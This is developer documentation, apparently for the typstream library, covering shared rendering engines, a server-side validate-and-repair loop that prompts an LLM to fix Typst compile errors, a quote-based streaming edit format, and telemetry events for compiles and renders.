The second argument is the worker scope (it defaults to the worker's global scope). Fixers are tried by `priority`, not by their place in the list. `fixers: []` turns them off. Plugins' fixer modules still join the list; to add a fixer without a custom worker, use a plugin ([Writing a plugin](/docs/guides/writing-a-plugin#writing-a-fixer-module)).

## Sharing one engine

An engine is one worker and the documents compiling on it, one compile at a time. Documents on one engine share its wasm, fonts and caches, so a page with many documents (a chat history) should use one engine.

With React you get this for free: every `<Typstream>` without an `engine` shares the page's default engine, created on first use and disposed a second after the last component using it unmounts. Pass an engine yourself when you want to configure it (a custom worker, watchdog budgets, limits, engine plugins):

```tsx title="App.tsx"
import { createEngine, engineWorker, TypstreamProvider } from "typstream";

// A single-page app rendered in the browser only; with server rendering, create it lazily as above.
const engine = createEngine({ spawn: engineWorker(), watchdog: { streamingMs: 5000 } });

export const App = () => (
  <TypstreamProvider engine={engine}>
    <Chat />
  </TypstreamProvider>
);
```

With `@typstream/dom`, `mountTypstream` always takes an engine: create one and pass it to every mount.

## Disposing

| Call | What it stops |
|---|---|
| `mounted.destroy()` (`@typstream/dom`) | The mounted document and what it rendered. The engine stays. |
| `doc.dispose()` (`@typstream/engine`) | One document. |
| `engine.dispose()` | Every document of the engine, and its workers (the active one and the spare). |

An engine you create is yours to dispose of, for example when a single-page app leaves the screen that needed it. A `<Typstream>` never disposes an engine you passed it. By default the engine keeps an initialized spare worker so that replacing a stuck one is instant; `createEngine({ spare: false })` saves its memory, at the cost of a slower recovery.


# Validating and repairing on the server

> Check an LLM-written Typst document before you save it, ask the model to fix what doesn't compile, and render the result to PDF with @typstream/node.

Source: https://typstream.vercel.app/docs/guides/server-fix-loop

The browser preview always shows something: while a document streams, typstream heals and works around errors. The document you save should not need that. `@typstream/node` checks a finished document on your server, turns its errors into a repair prompt for the model, and renders it to PDF, HTML or SVG.

It runs `@typstream/engine-wasm` (Typst 0.15.1) on worker threads. That's the same build browsers run, so a document that validates here renders the same in the preview.

```npm
npm install @typstream/node
```

## The whole flow

```ts title="save-document.ts"
import { fixLoop, render, validate } from "@typstream/node";

export async function saveDocument(source: string) {
  const result = await fixLoop({
    source,
    generate: async ({ prompt, source }) => callYourModel(`${prompt}\n\n${source}`),
  });
  if (!result.ok) throw new Error(`still broken after ${result.attempts.length - 1} rounds`);

  const pdf = await render(result.source, "pdf");
  if (pdf.ok) await store(result.source, pdf.data);
}
```

`fixLoop` validates the source first and calls the model only if it has errors. Run this in a Node runtime (not an edge runtime): the engine uses worker threads.

## Validate

```ts
import { formatDiagnosticsForLLM, validate } from "@typstream/node";

const { ok, diagnostics, pageCount, ms } = await validate(source);
if (!ok) console.log(formatDiagnosticsForLLM(source, diagnostics));
```

`validate` compiles the document without exporting it and never throws for a broken document. `ok` means no errors; warnings don't count. Diagnostics are sorted and deduplicated, and their positions are UTF-16 offsets into `source`.

It also reports `@typstream/heal`'s lint findings as warnings. They catch Markdown habits that compile but render wrongly, such as `**bold**` (Typst's bold is `*bold*`) or the `@` in `teacher@school.org`, which Typst reads as a reference. Each has a `code` (the lint rule's id, such as `markdown-bold`) and a hint saying what to replace. Pass `lint: false` to skip them, or heal's per-rule settings (`lint: { "markdown-bold": "off" }`).

### ValidateOptions

Options for validate: the document's, plus what to check it for.

| Prop         | Type                                                                           | Description                                                                                                                                                                                                        |
| ------------ | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `target?`    | `CompileTarget \| undefined`                                                   | Which output to compile for. Default `paged`, what gets printed; `html` also catches problems specific to HTML export.                                                                                             |
| `lint?`      | `boolean \| Partial<Record<LintRuleId, boolean \| LintSeverity>> \| undefined` | Report `@typstream/heal`'s lint findings as warnings (default true). They catch Markdown habits that compile but render wrongly (`**bold**`, `$5 and $10`). Pass heal's `lint` settings to configure single rules. |
| `preamble?`  | `string \| undefined`                                                          | Typst evaluated before the document (theme, imports). Diagnostics inside it carry `file: { path: "<preamble>" }`.                                                                                                  |
| `files?`     | `Record<string, FileContent> \| undefined`                                     | Files the document reads (images, data, other `.typ` files), by path relative to the document.                                                                                                                     |
| `inputs?`    | `Record<string, string> \| undefined`                                          | `sys.inputs`.                                                                                                                                                                                                      |
| `engine?`    | `NodeEngine \| undefined`                                                      | Default: defaultEngine.                                                                                                                                                                                            |
| `timeoutMs?` | `number \| undefined`                                                          | Watchdog budget for this compile; default the engine's `timeoutMs`.                                                                                                                                                |

**Target.** The default, `paged`, checks what gets printed. `target: "html"` compiles for the HTML target instead, which also catches problems specific to it.

**Preamble, files and inputs.** If your app renders documents with a preamble (a template, your own imports), validate with the same one, or the model's text won't find the functions it uses. Diagnostics inside the preamble carry `file: { path: "<preamble>" }`. For `@typstream/edu` documents:

```ts
import { eduFiles, eduPreamble } from "@typstream/edu";
import { validate } from "@typstream/node";

const result = await validate(source, { preamble: eduPreamble, files: eduFiles });
```

`files` maps paths relative to the document (`img/diagram.png`) to strings or bytes. Keys of the form `@ns/name:x.y.z/path`, as in `eduFiles`, are files of a local Typst package, so `#import "@typstream/edu:0.1.0"` works with nothing downloaded. Documents can't read the server's filesystem or the network, only the `files` you pass.

## Turn diagnostics into a repair prompt

`formatDiagnosticsForLLM(source, diagnostics)` writes the problems the way the Typst CLI prints them: a summary line, then each problem's message, its location, the source line with the problem underlined, and hints. Errors come first, repeats are dropped, at most 10 problems are shown, and long lines are clipped, so the prompt stays small for large documents. Instructions for the model come last.

For this worksheet:

```typst title="worksheet.typ"
= Fractions worksheet
**Name:** #box(width: 4cm, repeat[.])

#set enum(numbering: "1.")
+ Simplify $3/6$ and #hilight[show your steps].
+ Which is larger, $1/2$ or $2/3$? Explain.
+ Fill in the table:
  #table(columns: 2, [*Fraction*], [*Decimal*], [$1/4$], [], [$3/4$], [])

Send questions to teacher@school.org before Friday.
```

the prompt is:

```text
The Typst document has 1 error and 4 warnings.

error: unknown variable: hilight
 --> line 5, column 23
  |
4 | #set enum(numbering: "1.")
5 | + Simplify $3/6$ and #hilight[show your steps].
  |                       ^^^^^^^
6 | + Which is larger, $1/2$ or $2/3$? Explain.

warning: no text within stars
 --> line 2, column 1
  |
1 | = Fractions worksheet
2 | **Name:** #box(width: 4cm, repeat[.])
  | ^^
3 |
  = hint: using multiple consecutive stars (e.g. **) has no additional effect

warning[markdown-bold]: Markdown `**`; Typst uses single `*`
 --> line 2, column 1
  |
1 | = Fractions worksheet
2 | **Name:** #box(width: 4cm, repeat[.])
  | ^^^^^^^^^
3 |
  = hint: replace `**Name:**` with `*Name:*`

warning: no text within stars
 --> line 2, column 8
  |
1 | = Fractions worksheet
2 | **Name:** #box(width: 4cm, repeat[.])
  |        ^^
3 |
  = hint: using multiple consecutive stars (e.g. **) has no additional effect

warning[email-at]: `@` inside a word is read as a reference
 --> line 10, column 26
   |
 9 |
10 | Send questions to teacher@school.org before Friday.
   |                          ^^^^^^^^^^^
11 |
   = hint: replace `@school.org` with `\@school.org`

Fix every error, and the warnings where they point at a real mistake. Reply with the complete corrected Typst document only.
```

Lines and columns count from 1. A problem whose cause is in the preamble or a package says so after its location (`called from here; the problem is in …`).

### FormatOptions

How formatDiagnosticsForLLM writes its prompt.

| Prop               | Type                   | Description                                                                                  |
| ------------------ | ---------------------- | -------------------------------------------------------------------------------------------- |
| `maxDiagnostics?`  | `number \| undefined`  | Most diagnostics to include, errors first. Default 10.                                       |
| `contextLines?`    | `number \| undefined`  | Source lines shown before and after each problem line. Default 1.                            |
| `includeWarnings?` | `boolean \| undefined` | Include warnings (and lint findings). Default true.                                          |
| `instructions?`    | `string \| undefined`  | Text after the diagnostics. Default asks for the complete corrected document; `""` for none. |

Pass `instructions: ""` to leave the instructions out, for example when your own prompt asks for a diff rather than the whole document.

## Run the fix loop

`fixLoop` validates the source. While it has errors, it asks your `generate` callback for a corrected document and validates the reply, for at most `maxRounds` rounds (3 by default).

```ts
const result = await fixLoop({
  source,
  generate: async ({ prompt, source, diagnostics, round }) => {
    // Return the model's corrected document as a string.
  },
});
```

`generate` receives:

### FixRequest

What fixLoop asks the model to repair.

| Prop          | Type           | Description                                                                        |
| ------------- | -------------- | ---------------------------------------------------------------------------------- |
| `source`      | `string`       | The document as it stands.                                                         |
| `diagnostics` | `Diagnostic[]` | Its diagnostics from validate: Typst's and lint findings, sorted and deduplicated. |
| `prompt`      | `string`       | formatDiagnosticsForLLM of the two above.                                          |
| `round`       | `number`       | 1 for the first repair.                                                            |

Send the model `prompt` and the current `source`; the prompt already ends with the instructions. Models often wrap their reply in a Markdown fence: a ```` ```typst ```` (or ```` ```typ ````) fence around the reply is removed before it is validated.

`fixLoop` returns the **best** attempt, not the last: the one with the fewest errors, then the fewest warnings, then the latest. A reply that makes things worse never replaces a better one.

### FixLoopResult

What fixLoop ends with: the best attempt, and every attempt it made.

| Prop          | Type           | Description                                                                    |
| ------------- | -------------- | ------------------------------------------------------------------------------ |
| `ok`          | `boolean`      | The best attempt is acceptable (no errors; with `strict`, no warnings either). |
| `source`      | `string`       | The best attempt: fewest errors, then fewest warnings, then the latest.        |
| `diagnostics` | `Diagnostic[]` | The best attempt's diagnostics, lint findings included.                        |
| `attempts`    | `FixAttempt[]` | Every attempt, starting with the original source.                              |

`strict: true` also repairs documents that only have warnings, until none are left, and `ok` then means no warnings either. Use it when lint warnings (Markdown bold, a stray `@`) matter to you; they render, but not as the model meant. The other options are `validate`'s (`preamble`, `files`, `inputs`, `target`, `lint`, `engine`, `timeoutMs`), applied to every round, and `format`, passed to `formatDiagnosticsForLLM`.

### FixLoopOptions

What fixLoop repairs and how. The ValidateOptions apply to
every round's validation.

| Prop         | Type                                                                           | Description                                                                                                                                                                                                        |
| ------------ | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `source`     | `string`                                                                       | The document to validate and, if it has errors, repair.                                                                                                                                                            |
| `generate`   | `(request: FixRequest) => string \| Promise<string>`                           | Asks the model for a corrected document. A Markdown code fence (`typst` or `typ`) around the reply is removed.                                                                                                     |
| `maxRounds?` | `number \| undefined`                                                          | Most repair rounds (calls to `generate`). Default 3.                                                                                                                                                               |
| `strict?`    | `boolean \| undefined`                                                         | Also repair documents that only have warnings, until none are left. Default false: errors only.                                                                                                                    |
| `format?`    | `FormatOptions \| undefined`                                                   | How each round's `prompt` is written; passed to formatDiagnosticsForLLM.                                                                                                                                           |
| `preamble?`  | `string \| undefined`                                                          | Typst evaluated before the document (theme, imports). Diagnostics inside it carry `file: { path: "<preamble>" }`.                                                                                                  |
| `files?`     | `Record<string, FileContent> \| undefined`                                     | Files the document reads (images, data, other `.typ` files), by path relative to the document.                                                                                                                     |
| `inputs?`    | `Record<string, string> \| undefined`                                          | `sys.inputs`.                                                                                                                                                                                                      |
| `engine?`    | `NodeEngine \| undefined`                                                      | Default: defaultEngine.                                                                                                                                                                                            |
| `timeoutMs?` | `number \| undefined`                                                          | Watchdog budget for this compile; default the engine's `timeoutMs`.                                                                                                                                                |
| `target?`    | `CompileTarget \| undefined`                                                   | Which output to compile for. Default `paged`, what gets printed; `html` also catches problems specific to HTML export.                                                                                             |
| `lint?`      | `boolean \| Partial<Record<LintRuleId, boolean \| LintSeverity>> \| undefined` | Report `@typstream/heal`'s lint findings as warnings (default true). They catch Markdown habits that compile but render wrongly (`**bold**`, `$5 and $10`). Pass heal's `lint` settings to configure single rules. |

### With the Anthropic SDK

```ts title="repair.ts"
import Anthropic from "@anthropic-ai/sdk";
import { fixLoop, render } from "@typstream/node";

const client = new Anthropic(); // reads ANTHROPIC_API_KEY

export async function repair(source: string) {
  const result = await fixLoop({
    source,
    strict: true,
    generate: async ({ prompt, source }) => {
      const reply = await client.messages.create({
        model: "claude-opus-5-5",
        max_tokens: 16000,
        messages: [{ role: "user", content: `${prompt}\n\n${source}` }],
      });
      return reply.content.flatMap((block) => (block.type === "text" ? [block.text] : [])).join("");
    },
  });
  if (!result.ok) return { ok: false as const, diagnostics: result.diagnostics };

  const pdf = await render(result.source, "pdf");
  return pdf.ok ? { ok: true as const, source: result.source, pdf: pdf.data } : { ok: false as const, diagnostics: pdf.diagnostics };
}
```

Each round is one request. If the document came from a conversation, you can send that conversation's system prompt too, so the model keeps writing in the same vocabulary (see [Prompting](/docs/guides/prompting)).

### With any model

`generate` only has to return a string, so any client works. With the AI SDK:

```ts
import { anthropic } from "@ai-sdk/anthropic";
import { fixLoop } from "@typstream/node";
import { generateText } from "ai";

const result = await fixLoop({
  source,
  generate: async ({ prompt, source }) => {
    const { text } = await generateText({ model: anthropic("claude-opus-5-5"), prompt: `${prompt}\n\n${source}` });
    return text;
  },
});
```

`examples/node-validate` in the repository runs the whole flow offline, with a stand-in model that fixes exactly what the prompt reports: it repairs the worksheet above in two rounds and writes the PDF.

## Render

```ts
import { render } from "@typstream/node";

const pdf = await render(source, "pdf"); // data: Uint8Array
const html = await render(source, "html"); // data: string, a whole HTML document
const svg = await render(source, "svg"); // data: string[], one SVG per page
if (pdf.ok) await writeFile("worksheet.pdf", pdf.data);
```

`render` takes the same `preamble`, `files`, `inputs`, `engine` and `timeoutMs` options as `validate`. Its diagnostics are Typst's only (no lint). `ok: false` means the document didn't compile and there's no `data`. For a teacher's copy of an `@typstream/edu` document, render with `inputs: { showAnswers: "true" }`.

## The engine

`validate`, `render` and `fixLoop` compile on a default engine, created on first use. Create your own to set workers, fonts and budgets, and share it for the life of the process:

```ts title="engine.ts"
import { createEngine } from "@typstream/node";

export const engine = createEngine({
  workers: 4, // most worker threads; default min(4, cores - 1), at least 1
  timeoutMs: 10_000, // watchdog per compile
  fontPaths: ["/srv/fonts/noto"], // more fonts, searched recursively (like typst --font-path)
});

// Pass it to every call.
await validate(source, { engine });

// On shutdown: stops every worker. Pending compiles fail; the engine can't be used afterwards.
await engine.close();
```

### EngineOptions

How createEngine sizes its worker pool, budgets compiles, and which fonts it loads.

| Prop              | Type                                         | Description                                                                                                                                                                                                             |
| ----------------- | -------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `workers?`        | `number \| undefined`                        | Most worker threads to run at once, each compiling one document at a time. Default `min(4, cores - 1)`, at least 1.                                                                                                     |
| `timeoutMs?`      | `number \| undefined`                        | Default watchdog budget per compile, in milliseconds. A compile that takes longer is stopped by terminating its worker and reported as an error diagnostic with code `timeout`. Default 10,000 (PLAN §6.3, final mode). |
| `maxMemoryBytes?` | `number \| undefined`                        | Replace a worker once its wasm memory exceeds this many bytes (it never shrinks). Default 1 GiB.                                                                                                                        |
| `typstFonts?`     | `boolean \| undefined`                       | Load Typst's bundled fonts (Libertinus Serif, New Computer Modern, DejaVu Sans Mono). Default true.                                                                                                                     |
| `scriptFonts?`    | `boolean \| undefined`                       | Load engine-wasm's script fonts: Noto Naskh Arabic, Noto Serif Bengali and Noto Serif Devanagari, regular and bold. Default true.                                                                                       |
| `fonts?`          | `Uint8Array<ArrayBufferLike>[] \| undefined` | Font files (TTF, OTF, TTC) as bytes.                                                                                                                                                                                    |
| `fontPaths?`      | `string[] \| undefined`                      | Directories searched recursively for font files, like `typst --font-path`.                                                                                                                                              |

Nothing starts until the first compile: then the wasm module is compiled once, fonts are loaded, and workers start as they are needed. Workers keep Typst's caches warm between calls, and idle workers don't keep the process alive, so a script exits without `close()`.

The bundled fonts are Libertinus Serif, New Computer Modern and DejaVu Sans Mono, the set `typst compile --ignore-system-fonts` uses (the same files the browser engine has, so documents pick the same faces), plus the script fonts for Arabic, Bengali and Devanagari (Noto Naskh Arabic, Noto Serif Bengali, Noto Serif Devanagari). `typstFonts: false` and `scriptFonts: false` leave them out.

## Timeouts and crashes

A compile that runs past its budget is stopped by terminating its worker, and comes back as an error diagnostic with `code: "timeout"`:

```text
error[timeout]: compiling took longer than 10000 ms and was stopped
  = hint: a loop or recursion that never ends, or a document far larger than usual, causes this
```

A document that exhausts wasm memory (allocations fail at about 2 GiB in wasm32), or crashes the compiler, comes back with `code: "engine-crashed"`, such as `the compiler ran out of memory or crashed (unreachable)` for `#for i in range(1000000000) { … }`. Either way the worker is replaced and your process is unaffected. That's why typstream runs Typst as wasm on the server rather than as a native addon, whose compiles can't be interrupted.

Both are ordinary errors to `fixLoop`, so the model is told about them like any other. Set a shorter budget for one call with `timeoutMs`, and a default for all with `createEngine({ timeoutMs })`.

## Next steps

- [Running the engine on a server](/docs/guides/remote-engine): serve live previews from the same engine over WebSocket.
- [`@typstream/node` reference](/docs/reference/node).


# Streaming edits

> Let a model change part of a finished document. Its edits quote the text they replace, stream into place while the rest stays, and end with Keep or Undo, with @typstream/ai's edit session.

Source: https://typstream.vercel.app/docs/guides/streaming-edits

Once a model has written a document, the teacher asks for changes: "make question 3 harder", "add a question about
Norway", "the answer should be 1.0". The model shouldn't write the whole document again. It writes **edits**, and
`@typstream/ai` applies them to the document as they stream: the part being rewritten changes in place, the rest stays
as it was, and the teacher keeps the result or undoes it.

## The format

The model quotes the text it replaces and writes the new text, in tags, with a sentence for the teacher outside them:

```text
Question 3 now asks about Slovenia.
<edit>
<old>
#question(points: 1)[
  What is the capital of Spain?
  #mcq([Barcelona], [Seville], [Valencia], [Madrid], answer: 4)
]
</old>
<new>
#question(points: 1)[
  What is the capital of Slovenia?
  #mcq([Maribor], [Ljubljana], [Celje], [Koper], answer: 2)
]
</new>
</edit>
```

- **Quotes, not numbers.** An edit says *what* it replaces, as coding agents' `str_replace` does, not "block 3". The
  model only has to know what the document says. It doesn't count blocks in a document it may have pieced together from
  earlier turns. A stale quote fails to match, and the edit is reported. A stale block number would rewrite the wrong
  part without anyone noticing.
- **Labelled text, not a tool call.** The new text is raw Typst, as the model writes documents. In a tool call's JSON,
  every `"` and `\` of it would be escaped, and Typst has plenty of both.
- **Adding and deleting.** To add, the model quotes the part the addition goes after and writes it again with the new
  part after it. To delete, it leaves `<new></new>` empty.
- The tags stay in the chat message. The document only ever receives the edits they describe.

## The prompt

Add `editPrompt()` after the system prompt that teaches the document's Typst, and send the request with the document
as it is now (`editRequest`):

```ts title="app/api/chat/route.ts"
import { editPrompt, editRequest } from "@typstream/ai";
import { buildSystemPrompt, edu } from "@typstream/edu";

const system = `${buildSystemPrompt([edu])}\n\n${editPrompt()}`;
const user = editRequest(currentDocument, "Make question 3 harder.");
```

The rules (`editPromptRules`) were measured like the prompt kit's, on 24 edit requests over recorded documents
(`tools/llm-corpus`): quizzes whose ten questions start alike, a rubric that is one long block, two edits in one
request, Arabic, and three requests that don't say which part they mean. Every quote, from Sonnet and from Haiku,
matched the document exactly, every edited document compiled, and the edits changed the parts each request meant.
When a request didn't say which part it meant, the models asked 8 times out of 9.

Treat the chat as append-only: put the document as it is now (or the teacher's own edits, as diffs) into the request
you're sending, and send earlier requests again exactly as they were sent. Quotes work either way. They only need the
model to know the text. Never change a message the model has already answered: with Claude's extended thinking, an
answer's thinking is signed over everything that came before it, and a request in which that changed fails ("Invalid
`signature` in `thinking` block"). Taking the document back out of an earlier request is such a change, and so is adding
`editPrompt()` to the system prompt partway through a chat, so include `editPrompt()` from the first request.

## The edit session

Open a session per answer, over the document the model was given, and feed it the answer as it grows:

```tsx
import { createEditSession } from "@typstream/ai";

const session = createEditSession(document);
session.update(textOf(message), !isStreaming(message, chat)); // call again as the answer grows
const state = session.getState();

<Typstream source={state.text} streamingRange={state.streamingRange} isStreaming={state.streaming} />;
```

`state.text` is the document with the answer's edits so far. What happens to each edit:

1. **While its quote streams**, `range` is the text the quote matches so far (once it matches one place). Highlight
   it: that's what is about to change.
2. **Once the quote is complete**, it must match one place: exactly, or else with whitespace evened out (models
   re-indent). If it matches no place or several, the edit fails (`not-found`, `ambiguous`), and the others still
   apply.
3. **A quote of whole blocks** (a question, a paragraph, a section) streams its new text in. The blocks become a
   [streaming range](/docs/concepts/streaming#streaming-into-part-of-a-document): only they heal as text being typed,
   and the rest of the document stays as it was. The old text stays until the new text differs from it, so a rewrite
   that starts the same way doesn't flash.
4. **A quote inside a block** (a few words, one line of a question) is replaced once its new text is complete. Written
   chunk by chunk, the rest of its block would go missing in the meantime.

When the answer ends, `phase` is `review`: show **Keep** (`session.keep()`) and **Undo** (`session.undo()`). Undo puts
the document back as the model was given it.

### When something goes wrong

- **The stream stops halfway** (the teacher presses stop, the network fails): `update(answer, true)` or `abort()` rolls
  back the edit being written, so no half-written question is left. Complete edits stay.
- **An edit fails**: `editFeedback(state.edits)` says which ones and why, as a message for the model. Send it as the
  next request (with the document as it is now), and the model writes them again.
- **The teacher edits the document while an answer streams**: pass the edit to `session.userEdit(edit)`. The answer's
  edits move with it. An edit whose quote the teacher changed fails with `conflict` rather than guessing.

## Selection edits

When the teacher highlights text in an editor, the app already knows where the edit goes, and the model writes only the
new text. Widen the highlight to whole blocks with `blockRange`, ask with `selectionRequest`, and feed the answer to
`session.write(range, answer, done)`:

```ts
import { blockRange, createEditSession, selectionRequest } from "@typstream/ai";

const range = blockRange(document, highlight);
const user = selectionRequest(document, range, "make it harder");
const session = createEditSession(document);
session.write(range, textOf(message), !isStreaming(message, chat));
```

No quote has to match, so nothing can fail to: in the measurement, every selection edit applied and compiled.

## Highlighting what changes

In the HTML target, each top-level block's elements carry `data-typstream-src`, the block's offset in the compiled
source. Map it to the text with `state.heal.map.toInput` (from `useTypstream()`) and compare it with each edit's
`range`, to highlight what a quote matches, the block being written, and then what the answer changed, until Keep or
Undo. Pages have no anchors yet: there, say in words what the edit is doing.


# Telemetry and events

> What typstream reports about each compile and render, where to listen for it, and how to send it to your own analytics without collecting documents.

Source: https://typstream.vercel.app/docs/guides/telemetry

typstream sends nothing anywhere. It reports what happened to each document (how long healing, compiling and drawing took, which fixes it needed, when it fell back, when the watchdog stopped a compile) and your app decides what to log or collect. Every event is plain data, so you can `JSON.stringify` it as it is.

Use these events to watch rendering latency in production, to find the prompts that produce broken Typst, and to collect real failures as test cases.

## Where to listen

| Where | What you get | Use it when |
|---|---|---|
| `onRendered`, `onFallback`, `onWatchdog`, `onDiagnostics` on `<TypstreamProvider>` or `<Typstream>` | One callback per event, for every document below the provider | You use React (`typstream` or `@typstream/react`) |
| The same options on `mountTypstream` | The same callbacks, for one mounted element | You use `@typstream/dom` |
| `onStatusChange` on `<Typstream>` or `mountTypstream` | The document's status (`idle`, `compiling`, `stale`, `error`, `done`) | You show your own loading or error state |
| `doc.onEvent(listener)` on an `EngineDocument` | Every `DocumentEvent` of one document | You drive the engine yourself |
| `engine.onEvent(listener)` on an `Engine` | The workers' events, and every document's events as `{ type: "document", event }` | You want one listener for the whole page |

The quickest start is a provider around your app:

```tsx title="app/providers.tsx"
"use client";

import type { ReactNode } from "react";
import { TypstreamProvider } from "typstream";

export const Providers = ({ children }: { children: ReactNode }) => (
  <TypstreamProvider
    onRendered={(e) => console.info(`${e.uri} rev ${e.rev}: compile ${e.compileMs} ms, render ${e.renderMs} ms`)}
    onFallback={(e) => console.warn(`fallback level ${e.level}`, e.diagnostics[0]?.message)}
    onWatchdog={(e) => console.warn(`${e.reason} after ${e.budgetMs} ms, strike ${e.strikes}`)}
  >
    {children}
  </TypstreamProvider>
);
```

## The events of one compile

Each compile of a document reports, in this order, before the state it leads to is published:

1. `diagnostics`: the compile's errors and warnings, in input coordinates (UTF-16 offsets into the text you passed). It fires with every compile, even when they didn't change.
2. `compiled`: what the compile cost and what it took to make the text compile.
3. `fallback`, if the output isn't the text as it is (see [the fallback ladder](/docs/concepts/fallback)).

A compile that runs past the watchdog's budget or crashes the worker reports `watchdog` instead. While a finished document is searched for the block that hangs it, those probe compiles aren't reported; the `watchdog` event that started the search is.

Every document event carries `uri`, `rev` (the revision compiled; revisions count the worker's copies of the document, not your input's chunks), `target` (`html` or `paged`) and `mode` (`streaming`, or `final` once the input is complete).

### compiled

`status` is `ok` when the compile published an artifact (perhaps from the fallback) and `error` when the last good one stays. The rest is the compile report, shared with `onRendered`:

### CompileReport

What a compile cost and what it took to make the text compile: the fields
`compiled` and `rendered` events share.

| Prop            | Type                     | Description                                                                                                                     |
| --------------- | ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- |
| `timings`       | `CompileTimings`         | The worker's timings (`totalMs`: request to response).                                                                          |
| `compileMs`     | `number`                 | Typst's compilation, summed over fixer rounds and fallback compiles (`timings.compileMs`, 0 when absent).                       |
| `healMs`        | `number`                 | Main-thread time healing the input since the previous compile, ms: every push and edit that led to the compiled source, summed. |
| `patches`       | `number`                 | Heal patches (lint fixes, tail repair, output handlers) in the compiled source.                                                 |
| `patchReasons`  | `Record<string, number>` | The same patches counted by their reason (`"close:]"`, `"lint:email-at"`, …).                                                   |
| `fixersApplied` | `AppliedFix[]`           | Errors Layer 3's fixers fixed to make the output, in the order fixed (PLAN §5.5).                                               |
| `fallbackLevel` | `FallbackLevel`          | See FallbackLevel.                                                                                                              |
| `errors`        | `number`                 | Errors and warnings of the compile, in the document.                                                                            |
| `warnings`      | `number`                 | Warnings of the compile, counted as `errors` is.                                                                                |
| `pages?`        | `number \| undefined`    | Paged: the document's page count, when the compile published pages.                                                             |
| `sourceLength`  | `number`                 | Length of the compiled source (UTF-16), for latency by document size.                                                           |

`patchReasons` counts heal's patches by reason, such as `"close:]"` for a bracket closed at the end of the stream or `"lint:email-at"` for an `@` that was escaped. `fixersApplied` lists the compile errors the worker's fixers fixed, as `{ fixer, message }`.

### fallback

### FallbackEvent

The document's output isn't its text as it is (levels 1 to 4 of
FallbackLevel): a candidate corpus case (PLAN §11.2). Fired with
every such compile, so a lasting error in a stream fires once per revision;
`consecutive` tells a new failure from a lasting one.

| Prop          | Type               | Description                                                                                                                                                                                    |
| ------------- | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `type`        | `"fallback"`       | Discriminant: the output isn't the text as it is.                                                                                                                                              |
| `level`       | `1 \| 2 \| 3 \| 4` | The step of the ladder the output came from (see FallbackLevel).                                                                                                                               |
| `isolated`    | `Range[]`          | Ranges of the compiled source shown as error boxes (levels 3 and 4).                                                                                                                           |
| `plainFrom`   | `number \| null`   | Level 2: the compiled source from here on was shown as plain text.                                                                                                                             |
| `consecutive` | `number`           | Compiles in a row, this one included, whose output wasn't the text as it is.                                                                                                                   |
| `diagnostics` | `Diagnostic[]`     | The compile's diagnostics (input coordinates): the errors that failed it, or that the error boxes stand for; under the stable prefix, the tail's errors as `info` (`source: "stable-prefix"`). |
| `input`       | `string`           | The input the compiled source was healed from: what to replay to reproduce it.                                                                                                                 |
| `source`      | `string`           | The healed source the worker compiled. Ranges above are in it.                                                                                                                                 |
| `uri`         | `string`           | The document's URI, which tells documents apart in `Engine.onEvent`.                                                                                                                           |
| `rev`         | `number`           | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks.                                                                                                |
| `target`      | `CompileTarget`    | The target compiled to.                                                                                                                                                                        |
| `mode`        | `CompileMode`      | `final` once the input is complete (`finish()`).                                                                                                                                               |

The levels:

| `level` | What the reader saw |
|---|---|
| `1` | The compile failed; the last good render stayed. |
| `2` | The settled text, with the unsettled tail as plain text (streaming). |
| `3` | Failing or hanging blocks shown as error boxes. |
| `4` | Nothing compiled: the whole document shown as its source (final mode). |

A lasting error in a stream fires `fallback` once per revision. `consecutive` tells a new failure (`1`) from a lasting one. `input` and `source` are what to replay to reproduce it: a ready-made test case, if your users agree to share it.

### watchdog

### WatchdogEvent

A compile of the document ran past its budget or crashed the worker, which
was replaced (PLAN §6.3).

| Prop           | Type                   | Description                                                                                                          |
| -------------- | ---------------------- | -------------------------------------------------------------------------------------------------------------------- |
| `type`         | `"watchdog"`           | Discriminant: the watchdog replaced the worker.                                                                      |
| `reason`       | `"crash" \| "timeout"` | The compile ran past `budgetMs` (`timeout`), or the worker died during it (`crash`).                                 |
| `budgetMs`     | `number`               | The compile's budget, ms.                                                                                            |
| `strikes`      | `number`               | Streaming timeouts and crashes so far; at the engine's limit live compiling stops.                                   |
| `live`         | `boolean`              | False once live compiling stopped (`too-complex`); the document compiles again when finished.                        |
| `searching`    | `boolean`              | Final mode: the engine is looking for the blocks that hang or crash it, to skip them, rather than counting a strike. |
| `sourceLength` | `number`               | Length of the compiled source (UTF-16).                                                                              |
| `uri`          | `string`               | The document's URI, which tells documents apart in `Engine.onEvent`.                                                 |
| `rev`          | `number`               | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks.                      |
| `target`       | `CompileTarget`        | The target compiled to.                                                                                              |
| `mode`         | `CompileMode`          | `final` once the input is complete (`finish()`).                                                                     |

By default a compile gets 3 s while streaming and 10 s in final mode, and live preview stops after 3 strikes (`live: false`). The finished document compiles again. See [the engine](/docs/concepts/engine) for the watchdog's options.

### diagnostics

### DiagnosticsEvent

A compile replaced the document's diagnostics (in input coordinates,
sorted). Fired with every compile that reports, even when they didn't change.

| Prop          | Type            | Description                                                                                     |
| ------------- | --------------- | ----------------------------------------------------------------------------------------------- |
| `type`        | `"diagnostics"` | Discriminant: the document's diagnostics were replaced.                                         |
| `diagnostics` | `Diagnostic[]`  | The new set, in input coordinates and sorted; empty when the compile reported none.             |
| `uri`         | `string`        | The document's URI, which tells documents apart in `Engine.onEvent`.                            |
| `rev`         | `number`        | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks. |
| `target`      | `CompileTarget` | The target compiled to.                                                                         |
| `mode`        | `CompileMode`   | `final` once the input is complete (`finish()`).                                                |

## Render hooks

`@typstream/dom`'s `mountTypstream`, and so `<Typstream>`, turns these events into callbacks:

| Option | Called with | When |
|---|---|---|
| `onRendered` | `RenderedEvent` | An artifact was handed to the renderer. |
| `onFallback` | `FallbackEvent` | A compile's output wasn't the document as it is. |
| `onWatchdog` | `WatchdogEvent` | A compile ran past its budget or crashed the worker. |
| `onDiagnostics` | `(diagnostics, state)` | A compile replaced the document's diagnostics. |
